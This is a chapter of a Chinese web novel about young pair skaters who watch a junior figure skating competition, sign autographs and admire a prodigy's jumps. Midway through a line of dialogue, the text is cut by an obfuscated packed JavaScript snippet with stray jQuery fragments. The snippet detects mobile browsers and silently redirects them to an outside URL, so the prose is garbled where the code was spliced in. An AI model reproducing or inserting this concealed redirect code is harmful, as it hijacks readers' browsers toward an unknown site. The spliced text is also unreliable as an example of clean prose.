赶上末班车,贺嘉岁和应逢年报名了全国花样滑冰青少年系列赛的长春站。
林风致了解事情原委后直呼,原来还可以这样。
应逢年说:“其实不是很想参加。”
他们最近的训练有些瓶颈。
除了跳跃周数在改善,换足旋转基本在原地踏步,转速不快,圈数不多,尤其是贺嘉岁。
勉强凑够八圈,多一圈都晕得不行,比要命还难受。
贺嘉岁怂恿林风致:“要不你们也参加吧,距离报名截止还有几天。”
“你忘了,我的级数不达标。”
他们这赛季考级晚,来不及在最后一站追级*。
就算是进度最快的贺嘉岁和应逢年,此前被认定自由滑三级,也刚刚摸到少年乙组*的门槛。
起码是能名正言顺加入精英组的行列。
“但就算我的步法通过,搭档也肯定不乐意。”林风致摊手。
这么几个月过去,她和搭档的矛盾一点没消解,虽然没在教练面前闹得难看,私下已经不往来了。
贺嘉岁对他俩互删联系方式感到诧异。
难道搭档不该相亲相爱吗?
就像她和应逢年。
哦,他们也正在打嘴仗呢,关于谁在跳跃上拖后腿,谁又在旋转上当瘸子。
“贺嘉岁,教练让我盯着你改换足技术。”应逢年滑过来。
“少假传圣旨,”贺嘉岁听话动身,但嘴里可不能让他占便宜,“教练让我检查你的外点周数。”
应逢年抱着胳膊:“你的外点两周也不够数。”
贺嘉岁学他欠打的模样:“总比只有外点两周的男单强。”
不知是不是这么一激将,应逢年放开胆子跳,没两节课就稳定了1A和2F。
他俩又回到了同一起跑线。
“不会的,我的其他两周已经在路上了。”贺嘉岁自信。
……
9月29日,周五。
大概全国所有中小学生都沉浸在明天需要补课调休的悲伤里。
贺嘉岁看见班里哀嚎一片,安慰说:“还好我们只上半天学。”
“还有半天在训练,你是一点不提。”应逢年说。
也还好吧,她昨天过了旋转换足的小考,被教练夸再接再厉,心里正高兴。
中午赶回训练基地,场馆安静得诡异。
平时训练的运动员少了大半,教练居然也没到。
林风致他们来得早,已经跟着舞蹈老师先练开,贺嘉岁和应逢年刚换上训练服,在硬地上拉伸。
教练迟到了十分钟。
嘀——
没盼来教练,倒是有陌生人刷开闸门。
“是辛教练。”应逢年提醒。
贺嘉岁仔细分辨,那身旧运动服的确像辛教练的穿搭。
辛成林走近,问说:“那两对小冰舞呢?”
这是他们的行话。
年轻的冰舞组合叫小冰舞,年轻的双人滑组合叫小双,贺嘉岁不止一次觉得自己像古风小说里的丫头。
“还在拉韧带。”她瞅了眼教室。
“我今天替杨教上课,你告诉他们,按时在冰场北面集合。”
哪里是北?
她来北京一年,也没分清东西南北。
但这不是找不着北的问题。
“那我和应逢年呢?”她问。
从辛教练的第一句话开始,他俩就没有被包含在内。
“杨教在赶来的路上,你们去基地外等他。”
怎么听着像基地易主。
但他们只有照做的权利。
跳了一半的绳扔一边,披上外套,贺嘉岁和应逢年做贼似的溜走。
“今天是个重大的日子。”小姑娘嘴里念。
应逢年听她振振有词。
“2017年9月29日13:44,辛教练趁基地无人,擅闯花滑馆,并抓四名运动员为质,史称辛成林起义。”
为了确认时间,她还看了眼手表。
真严谨,不愧是她。
应逢年差点左脚绊右脚,有些无语:“让你平时少和林风致交流小说。”
平时看的都是什么,神神叨叨。
“不觉得我很有文化吗?”
到达辛教练说到的任务点,贺嘉岁意欲踹他一脚,看教练刚好下车,收敛了些。
应逢年趁势狐假虎威:“你敢让我在教练面前夸你的文化吗?”
她“哼”了声,还是算了。
不过,他们至今不知道辛教练把他俩赶出来的含义。
“教练,”应逢年拥上去告状,“辛教练抢了您的学生。”
教练打量:“你们不就在这里?”
“辛教练不让我训练,让我们在这里等您。”贺嘉岁搭腔。
教练似乎并不意外,把他们塞进车才解释:“你们有别的任务。”
还有什么任务更重要,连花滑也不练了。
贺嘉岁倒乖,上车就系好安全带,什么疑惑都没问出口。
“我要带你们去看比赛。”教练先出声。
应逢年问:“全国青少年赛?”
“对,就是你们要在明年一月参加的青少年赛。”
全国花滑青少年赛是一个系列赛,本赛季共开设两站。
贺嘉岁/应逢年将参加的是第二站,承办地在长春。
他们前往观摩的是第一站,就在北京。
“国内练习双人滑和冰舞的小运动员相对少,第一站只开设了单人滑。”
今天是最后一个比赛日,将决出女单少年甲组和男单少年甲组的冠军。
使用内部票,教练赶在开赛前带他们落座运动员区。
视野很宽阔,周围有不少于昨日完赛的选手。
“你好,可以给我签个名吗?”
场上还在首组运动员热身,贺嘉岁就遇上了节目。
“我吗?”她指着自己,再次确认。
怎么会有陌生人突然找自己要签名。
按照班里追星女生的思路,他们只该找自己的偶像才对。
“是你们,”陌生女生画了个圈,把她和应逢年都包含在内,“我是来集邮的。”
贺嘉岁听不懂,对方也没打算继续解释。
她写字很丑,她想这么拒绝。
但看到笔记本上满满当当一页纸,其他选手的字迹也不怎么样,她没有了理由。
也是。
抛开花滑的光环,大家都是十来岁、或者不到十岁的小朋友,哪里有把所有天赋都点满的好运气。
“别签在白纸上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788519|174565||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”教练没拦着,但给她指了一处花花绿绿的地方。
贺嘉岁觉得自己像被摆布的玩偶,草率地完成了人生第一次签名。
随后是第二次,第三次。
“我也没名气呀。”她嘟囔。
“参加青少年赛的,没几个有名气,”教练说,“但以后可不一定。”
这些人里,一定会有华夏花滑的未来,那一页满是签名的纸,也未必没有价值。
这么说,贺嘉岁有些受宠若惊。
原来他们把她当成参赛选手,被划入“花滑的未来”的范围。
以前,她的名字只会写在学期新发的教材和作业本上,今天才感觉到签名的爽快。
她看向应逢年。
“干嘛?”应逢年以为她有事要吩咐,提前拒绝,“我也签了很多名,手酸。”
“手摊开。”
他不明所以。
贺嘉岁握着手指,在他的手心签下自己的名字。
“不用谢,”她先发制人,“这是你的荣幸。”
……
应逢年断续叨咕了两个小时,左不过在说贺嘉岁自恋。
“行了,到最后一组了。”教练叹气。
时间过得真快,女单最后一组已经入场练习,广播在一一播报她们的名字。
“有常希贻?”
贺嘉岁听到熟人,瞬间来了精神,扒着前一排的椅背。
教练点头:“有,她是短节目的第二名。”
一组共有五位选手,别人不难找到那抹身影,常希贻一定是年纪最小的那个。
她太优秀了。
在同龄人还待在低级别组历练的时候,她已经敢放言去公开组闯荡。
如果顺利,她在明年就能拿到双八级证书,完成她的这一目标。
“十多年前,有个和她一样惊艳的女单选手。”教练说。
贺嘉岁问:“是容翡前辈吗?”
曾经被认为是阚玉接班人的新星,将在明年代表华夏参加平昌冬奥会,作为双人滑选手。
“我是想告诉你们,时间可以改变太多,从前的光辉不一定能指引未来。”
同理,今天蜷缩在无人注意的角落里,也不代表明天也得不到属于自己的掌声。
原来是在拐着弯安慰人。
“常希贻上场了。”
有观众展开自己制作的大旗,扬起来加油助威。
现场有很多看好她的人。
钢琴曲开场,常希贻在冰场上滑行,跳跃。
“是外点三周吗?”
“她七岁就能练出三周跳了吗?我以为两周半已经是这个年龄的上限。”
甚至这个所谓的上限,也是常希贻刷新的。
小姑娘轻轻一跳,留给观众巨大的震颤。
她第一次把三周跳放进节目,就上了双3T。
原以为她在甲组难度稍显逊色,毕竟同组尽是大她好几岁的选手。
但现在看,似乎差距也不大。
她给观众带来了一套完美的自由滑,即使强上难度导致最后体能不支,但无伤大雅。
起码领奖台是稳住了。
“有何感想?”教练问。
“想成为她。”贺嘉岁说。
择日不如撞日,今天就加练吧。